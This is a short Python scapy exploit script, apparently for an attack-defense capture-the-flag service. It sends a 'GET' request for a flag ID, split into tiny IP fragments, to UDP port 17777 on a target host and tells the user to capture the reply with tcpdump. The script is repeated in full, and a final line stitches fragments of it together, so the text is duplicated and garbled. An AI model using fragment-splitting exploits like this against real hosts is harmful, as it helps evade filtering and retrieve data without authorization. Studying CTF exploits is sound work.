#!/usr/bin/env python3
import random
import argparse
from scapy.config import conf
conf.ipv6_enabled = False
from scapy.all import IP, UDP, fragment, send, sniff

parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("flag_id")
args = parser.parse_args()

frags = fragment(
    IP(dst=args.host) /
    UDP(sport=random.randrange(1024, 65535), dport=17777) /
    ("GET " + args.flag_id), 8
)
print("Sending fragments:")
print("----------------------------")
print(frags)
print("----------------------------")
for f in frags:
    print("  ", str(f))
send(frags)
print("FIXME: exploit doesn't support receiving responses, please use tcpdump for it.")
print("E.g., tcpdump -vni tun0 udp and port 17777 -X")
#ans = sniff(filter="udp and port 17777", count=1)
#x = ans[0][0][0]
#print(x)
#flag = bytes(x[UDP].payload).decode()
#print("Service response (flag):", flag)

#!/usr/bin/env python3
import random
import argparse
from scapy.config import conf
conf.ipv6_enabled = False
from scapy.all import IP, UDP, fragment, send, sniff

parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("flag_id")
args = parser.parse_args()

frags = fragment(
    IP(dst=args.host) /
    UDP(sport=random.randrange(1024, 65535), dport=17777) /
    ("GET " + args.flag_id), 8
)
print("Sending fragments:")
print("----------------------------")
print(frags)
print("----------------------------")
for f in frags:
    print("  ", str(f))
send(frags)
print("FIXME: exploit doesn't support receiving responses, please use tcpdump for it.")
print("E.g., tcpdump -vni tun0 udp and port 17777 -X")
#ans = sniff(filter="udp and port 17777", count=1)
#x = ans[0][0][0]
#print(x)
#flag = bytes(x[UDP].payload).decode()
#print("Service response (flag):", flag)

#!/usr/bin/env python3 #ans = sniff(filter="udp and port 17777", count=1) #x = ans[0][0][0] #print(x) #flag = bytes(x[UDP].payload).decode() #print("Service response (flag):", flag)